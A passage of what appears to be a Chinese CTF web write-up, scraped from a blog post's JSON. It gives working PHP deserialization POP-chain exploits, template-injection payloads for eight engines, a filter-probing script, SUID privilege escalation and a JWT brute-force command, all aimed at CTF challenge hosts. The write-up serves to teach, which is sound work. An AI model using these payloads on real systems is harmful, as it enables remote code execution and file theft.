\u7ed5\u8fc7\u70b9\u5c31\u5728 PHP \u53cd\u5e8f\u5217\u5316\u5bf9\u5927\u5199 S \u7684\u5904\u7406\u4e0a\u3002\u666e\u901a\u5b57\u7b26\u4e32\u662f\u5c0f\u5199 s，\u91cc\u9762\u653e\u7684\u662f\u771f\u5b9e\u5b57\u8282；\u5982\u679c\u628a\u5b83\u6539\u6210\u5927\u5199 S，\u5c31\u53ef\u4ee5\u5728\u5b57\u7b26\u4e32\u5185\u5bb9\u91cc\u4f7f\u7528\u8f6c\u4e49\u5f62\u5f0f\u3002\u4e5f\u5c31\u662f\u8bf4，\u539f\u672c\u4f1a\u51fa\u73b0\u7a7a\u5b57\u8282\u7684\u5c5e\u6027\u540d\u53ef\u4ee5\u4ece s:5:"\\\\x00*\\\\x00id" \u6539\u5199\u6210 S:5:"\\\\00*\\\\00id"，\u8fd9\u6837\u4f20\u8f93\u65f6\u770b\u5230\u7684\u90fd\u662f\u53ef\u89c1\u5b57\u7b26，\u4f46\u53cd\u5e8f\u5217\u5316\u65f6 PHP \u4f1a\u628a \\\\00 \u8fd8\u539f\u56de\u771f\u6b63\u7684 \\\\x00\u3002<\/p>\n
\u7b2c\u4e8c\u5c42\u9650\u5236\u662f：<\/p>\n
$obj = @unserialize($data);
\nif (!($obj instanceof VaultC)) {
\n die("Nope");
\n}<\/p>\n
\u8fd9\u8bf4\u660e\u6700\u5916\u5c42\u5165\u53e3\u5bf9\u8c61\u5fc5\u987b\u662f VaultC，\u6240\u4ee5\u6574\u6761\u94fe\u5b50\u5fc5\u987b\u4ece VaultC::__wakeup() \u8d77\u3002<\/p>\n
\u518d\u770b\u7ec8\u70b9，\u771f\u6b63\u7684\u5371\u9669\u70b9\u5728 VaultD::__invoke() \u91cc\u7684 eval()：<\/p>\n
if (isset($obj->token) && $obj->token === "QCCTFyyds") {
\n if (is_string($obj->name) && stripos($obj->name, "flag") === false) {
\n eval($obj->name);
\n }
\n}<\/p>\n
\u8fd9\u91cc\u8981\u6c42\u4f20\u5165\u7684\u5bf9\u8c61\u540c\u65f6\u6ee1\u8db3\u4e09\u4e2a\u6761\u4ef6：\u4e00\u662f\u6709 token \u5c5e\u6027\u4e14\u503c\u4e25\u683c\u7b49\u4e8e QCCTFyyds，\u4e8c\u662f name \u5fc5\u987b\u662f\u5b57\u7b26\u4e32，\u4e09\u662f name \u91cc\u4e0d\u80fd\u76f4\u63a5\u51fa\u73b0 flag\u3002\u6240\u4ee5\u6211\u4eec\u6700\u7ec8\u8981\u63a7\u5236\u7684\u5176\u5b9e\u5c31\u662f VaultC \u5bf9\u8c61\u672c\u8eab，\u8ba9\u5b83\u62e5\u6709：<\/p>\n
\u4e4b\u6240\u4ee5\u628a\u547d\u4ee4\u5199\u6210 cat \/fla*，\u662f\u56e0\u4e3a stripos($obj->name, "flag") === false \u4f1a\u62e6\u622a\u76f4\u63a5\u51fa\u73b0\u7684 flag，\u4f46\u901a\u914d\u7b26\u5f62\u5f0f\u4e0d\u5305\u542b\u8fde\u7eed\u7684 flag \u5b57\u6837，\u4f9d\u7136\u53ef\u4ee5\u5339\u914d\u5230\u76ee\u6807\u6587\u4ef6\u3002<\/p>\n
\u89e6\u53d1\u94fe\u4e5f\u5f88\u76f4\u63a5\u3002VaultC::__wakeup() \u91cc\u5148\u53d6\u51fa $this->id \u8d4b\u7ed9 $name，\u7136\u540e\u6267\u884c：<\/p>\n
$name($this);<\/p>\n
\u5982\u679c\u8ba9 $this->id \u6307\u5411 VaultD \u5bf9\u8c61，\u90a3\u4e48\u8fd9\u91cc\u5c31\u4f1a\u89e6\u53d1 VaultD::__invoke()，\u800c\u4f20\u8fdb\u53bb\u7684\u53c2\u6570\u6b63\u662f\u5f53\u524d\u8fd9\u4e2a VaultC \u5bf9\u8c61\u672c\u8eab\u3002\u8fd9\u6837 VaultD::__invoke() \u770b\u5230\u7684 $obj \u5c31\u6b63\u597d\u662f\u6211\u4eec\u4f2a\u9020\u597d\u7684 VaultC\u3002<\/p>\n
\u6240\u4ee5\u8fd9\u9898\u5176\u5b9e\u4e0d\u9700\u8981\u7ed5\u8fdc\u94fe，\u6700\u77ed\u5229\u7528\u8def\u5f84\u5c31\u662f：VaultC::__wakeup() -> VaultD::__invoke() -> eval()\u3002\u96be\u70b9\u4e0d\u5728\u94fe\u5b50，\u800c\u5728\u4e24\u4e2a\u9650\u5236\u6761\u4ef6：\u4e00\u662f\u5165\u53e3\u5bf9\u8c61\u5fc5\u987b\u662f VaultC，\u4e8c\u662f protected \u5c5e\u6027\u540d\u91cc\u7684\u7a7a\u5b57\u8282\u8981\u9760\u5927\u5199 S \u548c \\\\00 \u7ed5\u8fc7 is_printable()\u3002<\/p>\n
POC<\/p>\n
<?php
\nclass VaultC {
\n public $name = "system('cat \/fla*');";
\n protected $id;<\/p>\n
public function __construct() {
\n $this->id = new VaultD();
\n }
\n}<\/p>\n
class VaultD {}<\/p>\n
$a = new VaultC();
\n$a->token = "QCCTFyyds";
\necho urlencode(serialize($a));<\/p>\n
\u5148\u751f\u6210\u666e\u901a\u5e8f\u5217\u5316\u4e32，\u518d\u628a\u5176\u4e2d\u8868\u793a protected \u5c5e\u6027\u540d\u7684\u8fd9\u4e00\u6bb5：<\/p>\n
s:5:"%00*%00id"<\/p>\n
\u6539\u6210：<\/p>\n
S:5:"\\\\00*\\\\00id"<\/p>\n
\u4e5f\u5c31\u662f\u628a\u5c0f\u5199 s \u6539\u6210\u5927\u5199 S，\u540c\u65f6\u628a %00 \u6539\u6210 %5C00，\u8fd9\u6837\u5c31\u80fd\u5728\u4fdd\u6301\u5168\u4e32\u53ef\u6253\u5370\u7684\u524d\u63d0\u4e0b，\u8ba9\u53cd\u5e8f\u5217\u5316\u65f6\u8fd8\u539f\u51fa\u771f\u6b63\u7684 protected \u5c5e\u6027\u540d\u3002<\/p>\n
<?php
\nerror_reporting(0);<\/p>\n
final class StarRailCabin {
\n public $crewBadge;
\n public $catDoor;
\n public $needle;
\n public $haystack;<\/p>\n
public function __destruct() {
\n if (isset($this->needle)) {
\n $n = (string)$this->needle;
\n if (strlen($n) > 5 || !is_numeric($n) || $n <= 999999) die("\u4f60\u884c\u4e0d\u884c\u5440？");
\n $gate = $this->catDoor;
\n $gate->partner = "QingCen";
\n }
\n }
\n}<\/p>\n
final class CatCafeGate {
\n public $fortuneTeller;
\n public $sparkler;<\/p>\n
public function __set($name, $value) {
\n $oracle = $this->fortuneTeller;
\n if ($oracle() === "QingCen") {
\n $engine = $this->sparkler;
\n $engine();
\n }
\n }
\n}<\/p>\n
final class KleeFirework {
\n public $spell;
\n public $scroll;<\/p>\n
public function __invoke() {
\n $cast = $this->spell;
\n $words = $this->scroll;
\n $cast($words);
\n }
\n}<\/p>\n
final class QingCen {
\n public static function echo_name() {
\n return "QingCen";
\n }
\n}<\/p>\n
highlight_file(__FILE__);<\/p>\n
$payload = $_GET["data_qc.bz2"];
\nif (isset($payload)) {
\n unserialize($payload);
\n} else {
\n echo "\u4e0a\u4f20\u7c7b\u578b\u4e0d\u5bf9\u54e6";
\n}
\n?>
\n\u4e0a\u4f20\u7c7b\u578b\u4e0d\u5bf9\u54e6<\/p>\n
\u8fd9\u4e00\u9898\u7684\u5165\u53e3\u8fd8\u662f\u5728 StarRailCabin::__destruct()\u3002\u53ea\u8981 $needle \u88ab\u8bbe\u7f6e\u8fc7，\u5c31\u4f1a\u5148\u628a\u5b83\u5f3a\u8f6c\u6210\u5b57\u7b26\u4e32\u8d4b\u7ed9 $n，\u7136\u540e\u68c0\u67e5\u4e09\u4e2a\u6761\u4ef6：\u957f\u5ea6\u4e0d\u80fd\u5927\u4e8e 5，\u5fc5\u987b\u662f\u6570\u5b57，\u800c\u4e14\u6570\u503c\u8981\u5927\u4e8e 999999\u3002<\/p>\n
\u8fd9\u51e0\u4e2a\u6761\u4ef6\u653e\u5728\u4e00\u8d77\u770b，\u5176\u5b9e\u662f\u5728\u903c\u6211\u4eec\u6784\u9020\u4e00\u4e2a\u770b\u8d77\u6765\u957f\u5ea6\u4e0d\u8d85\u8fc7 5，\u4f46\u6570\u503c\u6bd4\u8f83\u65f6\u53c8\u80fd\u5927\u4e8e 999999 \u7684\u503c，\u53ef\u4ee5\u7528\u79d1\u5b66\u8bb0\u6570\u6cd5\u7ed5\u8fc7\u3002\u540e\u9762\u4e00\u65e6\u901a\u8fc7\u68c0\u67e5，\u5c31\u4f1a\u6267\u884c $gate->partner = "QingCen"，\u800c partner \u5728 CatCafeGate \u91cc\u5e76\u4e0d\u5b58\u5728，\u6240\u4ee5\u8fd9\u91cc\u4f1a\u89e6\u53d1 CatCafeGate::__set()\u3002<\/p>\n
\u8fdb\u5165 CatCafeGate::__set() \u4e4b\u540e，\u5148\u53d6\u51fa $this->fortuneTeller \u8d4b\u7ed9 $oracle，\u7136\u540e\u6267\u884c $oracle()\u3002\u56e0\u6b64\u8fd9\u91cc\u9700\u8981\u8ba9 $fortuneTeller \u662f\u4e00\u4e2a\u53ef\u8c03\u7528\u5bf9\u8c61\u6216\u53ef\u8c03\u7528\u5f62\u5f0f，\u5e76\u4e14\u8fd4\u56de\u503c\u6b63\u597d\u7b49\u4e8e QingCen\u3002\u6761\u4ef6\u6210\u7acb\u540e，\u53c8\u4f1a\u7ee7\u7eed\u53d6\u51fa $this->sparkler \u8d4b\u7ed9 $engine，\u518d\u6267\u884c $engine()\u3002<\/p>\n
\u8fd9\u8bf4\u660e $sparkler \u4e5f\u5fc5\u987b\u662f\u4e00\u4e2a\u53ef\u8c03\u7528\u5bf9\u8c61，\u6240\u4ee5\u6700\u81ea\u7136\u7684\u505a\u6cd5\u5c31\u662f\u653e\u4e00\u4e2a KleeFirework \u5bf9\u8c61\u3002\u56e0\u4e3a KleeFirework \u5b9e\u73b0\u4e86 __invoke()，\u5bf9\u8c61\u51fd\u6570\u8c03\u7528\u65f6\u4f1a\u8fdb\u5165 KleeFirework::__invoke()，\u7136\u540e\u53d6\u51fa $spell \u548c $scroll，\u6267\u884c $cast($words)\u3002<\/p>\n
\u6240\u4ee5\u6700\u540e\u7684\u5229\u7528\u70b9\u5c31\u5728\u8fd9\u91cc：\u628a $spell \u8bbe\u6210\u4e00\u4e2a\u53ef\u8c03\u7528\u51fd\u6570，\u628a\u771f\u6b63\u8981\u6267\u884c\u7684\u5185\u5bb9\u653e\u8fdb $scroll，\u8fd9\u6837\u6574\u6761\u94fe\u5b50\u5c31\u4f1a\u53d8\u6210 StarRailCabin::__destruct() -> CatCafeGate::__set() -> KleeFirework::__invoke() -> $cast($words)\u3002<\/p>\n
\u8fd9\u4e00\u9898\u8fd8\u6709\u4e00\u4e2a\u989d\u5916\u7684\u5751，\u4e0d\u5728\u5bf9\u8c61\u94fe\u672c\u8eab，\u800c\u5728\u53c2\u6570\u540d\u3002\u6e90\u7801\u91cc\u53d6\u7684\u662f $_GET["data_qc.bz2"]，\u4f46 PHP \u89e3\u6790 GET \u53c2\u6570\u540d\u65f6，\u7a7a\u683c\u3001 . \u548c [ \u90fd\u4f1a\u53c2\u4e0e\u7279\u6b8a\u5904\u7406\u3002\u6b63\u5e38\u76f4\u63a5\u4f20 data_qc.bz2=… \u7684\u8bdd，\u53c2\u6570\u540d\u91cc\u7684 . \u4f1a\u88ab\u8f6c\u6362\u6210 _，\u6700\u540e\u8fdb\u5230 $_GET \u91cc\u7684\u952e\u540d\u5c31\u4e0d\u662f\u6e90\u7801\u91cc\u8981\u53d6\u7684\u90a3\u4e2a\u4e86\u3002<\/p>\n
\u89e3\u51b3\u529e\u6cd5\u5c31\u662f\u628a\u4f20\u5165\u7684\u53d8\u91cf\u540d\u5199\u6210 data[qc.bz2\u3002\u539f\u56e0\u662f PHP \u5728\u89e3\u6790\u53c2\u6570\u540d\u65f6，\u4e00\u65e6\u9047\u5230 [，\u5c31\u4f1a\u628a\u5b83\u5f53\u6210\u6570\u7ec4\u8bed\u6cd5\u7684\u5f00\u59cb，\u8fd9\u6837\u540e\u9762\u7684 . \u5c31\u4e0d\u4f1a\u518d\u88ab\u8f6c\u6362\u6389\u3002\u4e5f\u5c31\u662f\u8bf4，\u9898\u76ee\u867d\u7136\u4ee3\u7801\u91cc\u5199\u7684\u662f $_GET["data_qc.bz2"]，\u4f46\u771f\u6b63\u4f20\u53c2\u65f6\u8981\u7528 data[qc.bz2 \u8fd9\u4e2a\u540d\u5b57\u53bb\u5361\u4f4f PHP \u7684\u53c2\u6570\u540d\u89e3\u6790\u89c4\u5219\u3002<\/p>\n
POC<\/p>\n
<?php
\nfinal class StarRailCabin {
\n public $catDoor;
\n public $needle = "5e555";
\n}<\/p>\n
final class CatCafeGate {
\n public $fortuneTeller;
\n}<\/p>\n
final class KleeFirework {
\n public $spell = "system";
\n public $scroll = "cat \/flag;";
\n}<\/p>\n
$s = new StarRailCabin();
\n$c = new CatCafeGate();
\n$k = new KleeFirework();
\n$c->fortuneTeller = $k;
\n$s->catDoor = $c;
\necho serialize($s);<\/p>\n
?><\/p>\n
Node.js \u7684，<%= 7*7 %> \u68c0\u6d4b\u8fd4\u56de 49 ，\u662f EJS \u5f15\u64ce，\u76f4\u63a5\u8bfb<%= global.process.mainModule.require('child_process').execSync('cat \/flag') %>\u3002<\/p>\n
\u8fd8\u662f Node.js ，#{7*7} \u8fd4\u56de 49 ，\u662f Pug \u5f15\u64ce，#{global.process.mainModule.require('child_process').execSync('cat \/flag')} \u8fd9\u91cc\u9700\u8981\u67e5\u770b\u6e90\u4ee3\u7801\u627e\u5230 flag \u3002<\/p>\n
\u662f Nunjucks ，{{"".constructor.constructor("return this.process.mainModule.require('child_process').execSync('cat \/flag').toString()")()}} \u3002<\/p>\n
\u7528 whatweb \u770b\u4e00\u4e0b\u662f php \u7684，\u6d4b\u8bd5\u662f Smarty ，{system('cat \/flag')} \u3002<\/p>\n
\u8fd8\u662f php \u7684，Blade \u7684，@php system("cat \/flag"); @endphp \u3002<\/p>\n
\u8fd8\u662f php ，Twig \u7684，{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("cat \/flag")}} \u3002<\/p>\n
\u7ecf\u8fc7\u6d4b\u8bd5\u53d1\u73b0\u662f Mako \u3002${__import__('os').popen('cat \/flag').read()} \u3002<\/p>\n
\u7ecf\u8fc7\u6d4b\u8bd5\u53d1\u73b0\u662f Jinja2 \u3002{{"".__class__.__bases__[0].__subclasses__()}} \u8fd4\u56de\u7684\u6709\u8fc7\u6ee4，\u67e5\u770b\u6e90\u4ee3\u7801\u627e\u5230\u8fd4\u56de\u7684，\u7528\u811a\u672c\u627e\u5230os._wrap_close \u662f\u7b2c141\u4e2a，\u6240\u4ee5{{"".__class__.__bases__[0].__subclasses__()[141].__init__.__globals__['popen']('cat \/flag').read()}}\u3002<\/p>\n
\u8fd8\u662f Jinja2\u3002\u8fd8\u7528\u4e0a\u4e00\u9898\u7684，{{"".__class__.__bases__[0].__subclasses__()[141].__init__.__globals__['popen']('cat \/flag').read()}}\u3002<\/p>\n
\u8fd8\u80fd\u51fa，{{"".__class__.__bases__[0].__subclasses__()[141].__init__.__globals__['popen']('cat \/flag').read()}}\u3002<\/p>\n
\u6709\u8fc7\u6ee4，\u5199\u4e2a\u811a\u672c\u770b\u770b\u3002<\/p>\n
import requests<\/p>\n
url = "http:\/\/docker.qingcen.net:41803\/?id="<\/p>\n
tests = [
\n "{{7*7}}",
\n "__class__",
\n "__base__",
\n "__subclasses__",
\n "__globals__",
\n "popen",
\n "os",
\n "import",
\n "eval",
\n "builtins",
\n "cat",
\n "\/flag",
\n "self",
\n "session",
\n "lipsum",
\n "cycler",
\n "namespace",
\n "Joiner",
\n "get_flashed_messages",
\n]<\/p>\n
def check(keyword):
\n payload = "{{" + keyword + "}}"<\/p>\n
try:
\n r = requests.get(
\n url + requests.utils.quote(payload),
\n timeout=5
\n )<\/p>\n
text = r.text<\/p>\n
print("=" * 50)
\n print("\u6d4b\u8bd5:", keyword)<\/p>\n
# \u5224\u65ad\u5173\u952e\u5b57\u662f\u5426\u88ab\u8fc7\u6ee4
\n if keyword in text:
\n print("[+] \u672a\u8fc7\u6ee4")
\n else:
\n print("[-] \u53ef\u80fd\u88ab\u8fc7\u6ee4")<\/p>\n
# \u5e38\u89c1\u8fc7\u6ee4\u63d0\u793a
\n filters = [
\n "\u5371\u9669\u5173\u952e\u5b57",
\n "\u7981\u6b62",
\n "illegal",
\n "forbidden",
\n "blocked",
\n "filter"
\n ]<\/p>\n
for f in filters:
\n if f.lower() in text.lower():
\n print("[!] \u53d1\u73b0\u8fc7\u6ee4\u63d0\u793a:", f)<\/p>\n
print("\u54cd\u5e94\u957f\u5ea6:", len(text))<\/p>\n
except Exception as e:
\n print("\u8bf7\u6c42\u9519\u8bef:", e)<\/p>\n
for t in tests:
\n check(t)<\/p>\n
\u8fc7\u6ee4\u4e86\u4e0b\u9762\u7684<\/p>\n
__class__
\n==================================================
\n__base__
\n==================================================
\n__subclasses__
\n==================================================
\n__globals__
\n==================================================
\nimport
\n==================================================
\nself
\n==================================================
\nsession
\n==================================================
\nlipsum
\n==================================================
\ncycler
\n==================================================
\nnamespace
\n==================================================
\nJoiner
\n==================================================
\nget_flashed_messages<\/p>\n
url_for \u6ca1\u88ab\u8fc7\u6ee4，\u7528\u8fd9\u4e2a{{url_for.__globals__['os'].popen('cat \/flag').read()}}，\u8fd9\u91cc\u9762\u7684\u5173\u952e\u5b57\u7528 join \u6362\u4e00\u4e0b\u3002<\/p>\n
globals dict(glob=a,al=b)|join<\/p>\n
{{url_for[dict(__glob=a,als__=b)|join]['os'].popen('cat \/flag').read()}}<\/p>\n
\u4e0a\u4e00\u9898\u8fd8\u80fd\u7528，{{url_for[dict(__glob=a,als__=b)|join]['os'].popen('cat \/flag').read()}} \u3002<\/p>\n
cat \/flag \u6ca1\u7ed3\u679c，\u4f46\u662f\u547d\u4ee4\u662f\u53ef\u4ee5\u6b63\u5e38\u6267\u884c\u7684，\u800c\u4e14 static \u76ee\u5f55\u4e5f\u8fdb\u4e0d\u53bb\u3002\u8fd9\u91cc\u5361\u4f4f\u4e86，\u770b\u4e86\u4e0b\u5eb7\u53ef\u5e08\u5085\u7684 wp ，\u5f97 suid \u63d0\u6743，\u540c\u65f6\u961f\u53cb\u8bf4 env \u6709\u4e2a hint ，\u770b\u4e00\u4e0b\u3002<\/p>\n
HOSTNAME=29bee48b6372
\nOLDPWD=\/opt\/___web_very_strange_42___
\nPORT=80
\nHOME=\/opt\/___web_very_strange_42___
\nPYTHONUNBUFFERED=1
\nGPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
\nPYTHON_SHA256=8d3ed8ec5c88c1c95f5e558612a725450d2452813ddad5e58fdb1a53b1209b78
\nWERKZEUG_SERVER_FD=3
\nPYTHONDONTWRITEBYTECODE=1
\nHINT=\u7528\u6211\u63d0\u4e2a\u6743\u5427
\nPATH=\/usr\/local\/bin:\/usr\/local\/bin:\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin
\nLANG=C.UTF-8
\nPYTHON_VERSION=3.11.14
\nPWD=\/opt\/___web_very_strange_42___<\/p>\n
\u518d\u7ed3\u5408\u5eb7\u795e\u7684 wp ，\u9884\u671f\u89e3\u5e94\u8be5\u662f env \u540e\u770b\u5230\u63d0\u793a，\u7136\u540e\u60f3\u5230 suid \u63d0\u6743，\u7136\u540e\u7528\/usr\/local\/bin\/env\u63d0\u6743\u3002<\/p>\n
\u5148\u627e\u4e00\u4e0b\u53ef\u4ee5\u7528\u6765\u63d0\u6743\u7684\u3002<\/p>\n
{{url_for[dict(__glob=a,als__=b)|join]['os'].popen('find \/ -perm -4000 -type f 2>\/dev\/null').read()}}\u3002<\/p>\n
\/usr\/bin\/mount
\n\/usr\/bin\/gpasswd
\n\/usr\/bin\/su
\n\/usr\/bin\/chsh
\n\/usr\/bin\/newgrp
\n\/usr\/bin\/chfn
\n\/usr\/bin\/umount
\n\/usr\/bin\/passwd
\n\/usr\/local\/bin\/env<\/p>\n
\u6b63\u597d\u5c31\u6709\/usr\/local\/bin\/env，\u6240\u4ee5{{url_for[dict(__glob=a,als__=b)|join]['os'].popen('\/usr\/local\/bin\/env cat \/flag').read()}}\u3002<\/p>\n
\u65e0\u56de\u663e，\u5199\u5165\u9759\u6001\u6587\u4ef6，{{url_for[dict(__glob=a,als__=b)|join]['os'].popen('mkdir -p \/app\/static;cat \/flag > \/app\/static\/1.txt 2>&1').read()}}，\u518d\u8bbf\u95ee\/static\/1.txt\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
EZJWT
\nHS256 \u7b7e\u540d，\u8bd5\u8bd5\u7206\u7834\u5bc6\u94a5，\u8fd9\u91cc\u7528\u7684\u662f jwt_tool \u3002
\npython jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0.2s6Ssv1pE5dLPJUWfaVI2apGc2nNC3jAhydYOrwOrMw -C -d rockyou.txt\u7ed3\u679c\u662f secret ，\u7136\u540e\u6539<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[275,122],"topic":[],"class_list":["post-96588","post","type-post","status-publish","format-standard","hentry","category-server","tag-web","tag-122"],"yoast_head":"\n